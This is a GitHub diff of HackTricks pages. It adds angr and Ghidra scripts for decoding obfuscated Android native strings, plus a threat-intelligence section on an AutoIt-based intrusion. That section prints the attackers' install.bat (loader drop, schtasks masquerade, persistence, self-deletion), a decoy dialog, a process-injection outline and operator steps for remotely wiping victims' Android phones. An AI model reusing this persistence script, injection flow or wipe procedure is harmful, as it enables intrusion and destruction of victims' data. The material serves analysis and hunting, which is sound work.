Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
Expand Up @@ -210,99 +210,115 @@ Ghidra triage (JNI_OnLoad pattern)
angr setup (execute the decoder offline)
- Load the .so with the same base used in Ghidra (example: 0x00100000) and disable auto-loading of external libs to keep the state small.

```python
import angr, json

project = angr.Project(
'/path/to/libtarget.so',
load_options={'main_opts': {'base_addr': 0x00100000}},
auto_load_libs=False,
)

ENCODING_FUNC_ADDR = 0x00100e10 # decoder function discovered in Ghidra

def decode_string(enc_addr, length):
# fresh blank state per evaluation
st = project.factory.blank_state()
outbuf = st.heap.allocate(length)
call = project.factory.callable(ENCODING_FUNC_ADDR, base_state=st)
ret_ptr = call(enc_addr, outbuf, length) # returns outbuf pointer
rs = call.result_state
raw = rs.solver.eval(rs.memory.load(ret_ptr, length), cast_to=bytes)
return raw.split(b'\x00', 1)[0].decode('utf-8', errors='ignore')

# Example: decode a JNI signature at 0x100933 of length 5 → should be ()[B
print(decode_string(0x00100933, 5))
```
<details>
<summary>angr setup and offline decoder execution</summary>

```python
import angr, json

project = angr.Project(
'/path/to/libtarget.so',
load_options={'main_opts': {'base_addr': 0x00100000}},
auto_load_libs=False,
)

ENCODING_FUNC_ADDR = 0x00100e10 # decoder function discovered in Ghidra

def decode_string(enc_addr, length):
# fresh blank state per evaluation
st = project.factory.blank_state()
outbuf = st.heap.allocate(length)
call = project.factory.callable(ENCODING_FUNC_ADDR, base_state=st)
ret_ptr = call(enc_addr, outbuf, length) # returns outbuf pointer
rs = call.result_state
raw = rs.solver.eval(rs.memory.load(ret_ptr, length), cast_to=bytes)
return raw.split(b'\x00', 1)[0].decode('utf-8', errors='ignore')

# Example: decode a JNI signature at 0x100933 of length 5 → should be ()[B
print(decode_string(0x00100933, 5))
```

</details>

- At scale, build a static map of call sites to the decoder’s arguments (encoded_ptr, size). Wrappers may hide arguments, so you may create this mapping manually from Ghidra xrefs if API recovery is noisy.

```python
# call_site -> (encoded_addr, size)
call_site_args_map = {
0x00100f8c: (0x00100b81, 0x41),
0x00100fa8: (0x00100bca, 0x04),
0x00100fcc: (0x001007a0, 0x41),
0x00100fe8: (0x00100933, 0x05),
0x0010100c: (0x00100c62, 0x41),
0x00101028: (0x00100c15, 0x16),
0x00101050: (0x00100a49, 0x101),
0x00100cf4: (0x00100821, 0x11),
0x00101170: (0x00100940, 0x101),
0x001011cc: (0x0010084e, 0x13),
0x00101334: (0x001007e9, 0x0f),
0x00101478: (0x0010087d, 0x15),
0x001014f8: (0x00100800, 0x19),
0x001015e8: (0x001008e6, 0x27),
0x0010160c: (0x00100c33, 0x13),
}

decoded_map = { hex(cs): decode_string(enc, sz)
for cs, (enc, sz) in call_site_args_map.items() }

print(json.dumps(decoded_map, indent=2))
with open('decoded_strings.json', 'w') as f:
json.dump(decoded_map, f, indent=2)
```
<details>
<summary>Batch decode multiple call sites with angr</summary>

```python
# call_site -> (encoded_addr, size)
call_site_args_map = {
0x00100f8c: (0x00100b81, 0x41),
0x00100fa8: (0x00100bca, 0x04),
0x00100fcc: (0x001007a0, 0x41),
0x00100fe8: (0x00100933, 0x05),
0x0010100c: (0x00100c62, 0x41),
0x00101028: (0x00100c15, 0x16),
0x00101050: (0x00100a49, 0x101),
0x00100cf4: (0x00100821, 0x11),
0x00101170: (0x00100940, 0x101),
0x001011cc: (0x0010084e, 0x13),
0x00101334: (0x001007e9, 0x0f),
0x00101478: (0x0010087d, 0x15),
0x001014f8: (0x00100800, 0x19),
0x001015e8: (0x001008e6, 0x27),
0x0010160c: (0x00100c33, 0x13),
}

decoded_map = { hex(cs): decode_string(enc, sz)
for cs, (enc, sz) in call_site_args_map.items() }

import json
print(json.dumps(decoded_map, indent=2))
with open('decoded_strings.json', 'w') as f:
json.dump(decoded_map, f, indent=2)
```

</details>

Annotate call sites in Ghidra
Option A: Jython-only comment writer (use a pre-computed JSON)
- Since angr requires CPython3, keep deobfuscation and annotation separated. First run the angr script above to produce decoded_strings.json. Then run this Jython GhidraScript to write PRE_COMMENTs at each call site (and include the caller function name for context):

```python
#@category Android/Deobfuscation
# Jython in Ghidra 10/11
import json
from ghidra.program.model.listing import CodeUnit

# Ask for the JSON produced by the angr script
f = askFile('Select decoded_strings.json', 'Load')
mapping = json.load(open(f.absolutePath, 'r')) # keys as hex strings

fm = currentProgram.getFunctionManager()
rm = currentProgram.getReferenceManager()

# Replace with your decoder address to locate call-xrefs (optional)
ENCODING_FUNC_ADDR = 0x00100e10
enc_addr = toAddr(ENCODING_FUNC_ADDR)

callsite_to_fn = {}
for ref in rm.getReferencesTo(enc_addr):
if ref.getReferenceType().isCall():
from_addr = ref.getFromAddress()
fn = fm.getFunctionContaining(from_addr)
if fn:
callsite_to_fn[from_addr.getOffset()] = fn.getName()

# Write comments from JSON
for k_hex, s in mapping.items():
cs = int(k_hex, 16)
site = toAddr(cs)
caller = callsite_to_fn.get(cs, None)
text = s if caller is None else '%s @ %s' % (s, caller)
currentProgram.getListing().setComment(site, CodeUnit.PRE_COMMENT, text)
print('[+] Annotated %d call sites' % len(mapping))
```
<details>
<summary>Ghidra Jython script to annotate decoded JNI strings</summary>

```python
#@category Android/Deobfuscation
# Jython in Ghidra 10/11
import json
from ghidra.program.model.listing import CodeUnit

# Ask for the JSON produced by the angr script
f = askFile('Select decoded_strings.json', 'Load')
mapping = json.load(open(f.absolutePath, 'r')) # keys as hex strings

fm = currentProgram.getFunctionManager()
rm = currentProgram.getReferenceManager()

# Replace with your decoder address to locate call-xrefs (optional)
ENCODING_FUNC_ADDR = 0x00100e10
enc_addr = toAddr(ENCODING_FUNC_ADDR)

callsite_to_fn = {}
for ref in rm.getReferencesTo(enc_addr):
if ref.getReferenceType().isCall():
from_addr = ref.getFromAddress()
fn = fm.getFunctionContaining(from_addr)
if fn:
callsite_to_fn[from_addr.getOffset()] = fn.getName()

# Write comments from JSON
for k_hex, s in mapping.items():
cs = int(k_hex, 16)
site = toAddr(cs)
caller = callsite_to_fn.get(cs, None)
text = s if caller is None else '%s @ %s' % (s, caller)
currentProgram.getListing().setComment(site, CodeUnit.PRE_COMMENT, text)
print('[+] Annotated %d call sites' % len(mapping))
```

</details>

Option B: Single CPython script via pyhidra/ghidra_bridge
- Alternatively, use pyhidra or ghidra_bridge to drive Ghidra’s API from the same CPython process running angr. This allows calling decode_string() and immediately setting PRE_COMMENTs without an intermediate file. The logic mirrors the Jython script: build callsite→function map via ReferenceManager, decode with angr, and set comments.
Expand Down Expand Up @@ -410,6 +426,100 @@ idc.set_callee_name(call_ea, resolved_addr, 0) # IDA 8.3+

---

## AutoIt-based loaders: .a3x decryption, Task Scheduler masquerade and RAT injection

This intrusion pattern chains a signed MSI, AutoIt loaders compiled to .a3x, and a Task Scheduler job masquerading as a benign app.

### MSI → custom actions → AutoIt orchestrator

Process tree and commands executed by the MSI custom actions:

- MsiExec.exe → cmd.exe to run install.bat
- WScript.exe to show a decoy error dialog

```cmd
%SystemRoot%\system32\cmd.exe /c %APPDATA%\스트레스 클리어\install.bat
%SystemRoot%\System32\WScript.exe %APPDATA%\스트레스 클리어\error.vbs
```

install.bat (drops loader, sets persistence, self-cleans):

```bat
@echo off
set dr=Music

copy "%~dp0AutoIt3.exe" %public%\%dr%\AutoIt3.exe
copy "%~dp0IoKlTr.au3" %public%\%dr%\IoKlTr.au3

cd /d %public%\%dr% & copy c:\windows\system32\schtasks.exe hwpviewer.exe ^
& hwpviewer /delete /tn "IoKlTr" /f ^
& hwpviewer /create /sc minute /mo 1 /tn "IoKlTr" /tr "%public%\%dr%\AutoIt3.exe %public%\%dr%\IoKlTr.au3"

del /f /q "%~dp0AutoIt3.exe"
del /f /q "%~dp0IoKlTr.au3"
del /f /q "%~f0"
```

error.vbs (user decoy):

```vb
MsgBox "현재 시스템 언어팩과 프로그램 언어팩이 호환되지 않아 실행할 수 없습니다." & vbCrLf & _
"설정에서 한국어(대한민국) 언어팩을 설치하거나 변경한 뒤 다시 실행해 주세요.", _
vbCritical, "언어팩 오류"
```

Key artifacts and masquerade:
- Drops AutoIt3.exe and IoKlTr.au3 to C:\Users\Public\Music
- Copies schtasks.exe to hwpviewer.exe (masquerades as Hangul Word Processor viewer)
- Creates a scheduled task "IoKlTr" that runs every 1 minute
- Startup LNK seen as Smart_Web.lnk; mutex: `Global\AB732E15-D8DD-87A1-7464-CE6698819E701`
- Stages modules under %APPDATA%\Google\Browser\ subfolders containing `adb` or `adv` and starts them via autoit.vbs/install.bat helpers

Forensic triage tips:
- schtasks enumeration: `schtasks /query /fo LIST /v | findstr /i "IoKlTr hwpviewer"`
- Look for renamed copies of schtasks.exe co-located with Task XML: `dir /a "C:\Users\Public\Music\hwpviewer.exe"`
- Common paths: `C:\Users\Public\Music\AutoIt3.exe`, `...\IoKlTr.au3`, Startup `Smart_Web.lnk`, `%APPDATA%\Google\Browser\(adb|adv)*`
- Correlate process creation: AutoIt3.exe spawning legitimate Windows binaries (e.g., cleanmgr.exe, hncfinder.exe)

### AutoIt loaders and .a3x payload decryption → injection

- AutoIt modules are compiled with `#AutoIt3Wrapper_Outfile_type=a3x` and decrypt embedded payloads before injecting into benign processes.
- Observed families: QuasarRAT (injected into hncfinder.exe) and RftRAT/RFTServer (injected into cleanmgr.exe), as well as RemcosRAT modules (`Remcos\RunBinary.a3x`).
- Decryption pattern: derive an AES key via HMAC, decrypt the embedded blob, then inject the plaintext module.

Generic decryption skeleton (exact HMAC input/algorithm is family-specific):

```python
import hmac, hashlib
from Crypto.Cipher import AES

def derive_aes_key(secret: bytes, data: bytes) -> bytes:
# Example: HMAC-SHA256 → first 16/32 bytes as AES key
return hmac.new(secret, data, hashlib.sha256).digest()

def aes_decrypt_cbc(key: bytes, iv: bytes, ct: bytes) -> bytes:
return AES.new(key, AES.MODE_CBC, iv=iv).decrypt(ct)
```

Common injection flow (CreateRemoteThread-style):
- CreateProcess (suspended) of the target host (e.g., cleanmgr.exe)
- VirtualAllocEx + WriteProcessMemory with decrypted module/shellcode
- CreateRemoteThread or QueueUserAPC to execute payload

Hunting ideas
- AutoIt3.exe parented by MsiExec.exe or WScript.exe spawning system utilities
- Files with `.a3x` extensions or AutoIt script runners under public/user-writable paths
- Suspicious scheduled tasks executing AutoIt3.exe or binaries not signed by Microsoft, with minute-level triggers

### Account-takeover abuse of Android Find My Device (Find Hub)

During the Windows intrusion, operators used stolen Google credentials to repeatedly wipe the victim’s Android devices, suppressing notifications while they expanded access via the victim’s logged-in desktop messenger.

Operator steps (from a logged-in browser session):
- Review Google Account → Security → Your devices; follow Find My Phone → Find Hub (https://www.google.com/android/find)
- Select device → re-enter Google password → issue "Erase device" (factory reset); repeat to delay recovery
- Optional: clear alert e-mails in the linked mailbox (e.g., Naver) to hide security notifications

## AdaptixC2: Configuration Extraction and TTPs

See the dedicated page:
Expand All @@ -430,5 +540,9 @@ adaptixc2-config-extraction-and-ttps.md
- Tracing JNI Functions – [valsamaras.medium.com](https://valsamaras.medium.com/tracing-jni-functions-75b04bee7c58)
- Native Enrich: Scripting Ghidra and Frida to discover hidden JNI functions – [laripping.com](https://laripping.com/blog-posts/2021/12/20/nativeenrich.html)
- [Unit42 – AdaptixC2: A New Open-Source Framework Leveraged in Real-World Attacks](https://unit42.paloaltonetworks.com/adaptixc2-post-exploitation-framework/)
- KONNI-linked APT abuses Google Find Hub to wipe Android devices after Windows intrusion – [genians.co.kr](https://www.genians.co.kr/en/blog/threat_intelligence/android)
- Android Find My Device (Find Hub) – [google.com/android/find](https://www.google.com/android/find)
- RftRAT/RFTServer technical analysis – [asec.ahnlab.com](https://asec.ahnlab.com/en/59590/)
- HMAC background – [wikipedia.org/wiki/HMAC](https://en.wikipedia.org/wiki/HMAC)

{{#include ../../banners/hacktricks-training.md}}
Original file line number Diff line number Diff line change
@@ -1,4 +1,6 @@
## LESS Code Injection leading to SSRF & Local File Read
# LESS Code Injection leading to SSRF & Local File Read

{{#include ../../../banners/hacktricks-training.md}}

LESS is a popular CSS pre-processor that adds variables, mixins, functions and the powerful `@import` directive. During compilation the LESS engine will **fetch the resources referenced in `@import`** statements and embed ("inline") their contents into the resulting CSS when the `(inline)` option is used.

Expand Down Expand Up @@ -59,4 +61,5 @@ curl -sk "${TARGET}rest/v10/css/preview?baseUrl=1&lm=${INJ}" | \

* [SugarCRM ≤ 14.0.0 (css/preview) LESS Code Injection Vulnerability](https://karmainsecurity.com/KIS-2025-04)
* [SugarCRM Security Advisory SA-2024-059](https://support.sugarcrm.com/resources/security/sugarcrm-sa-2024-059/)
* [CVE-2024-58258](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58258)
* [CVE-2024-58258](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58258)
{{#include ../../../banners/hacktricks-training.md}}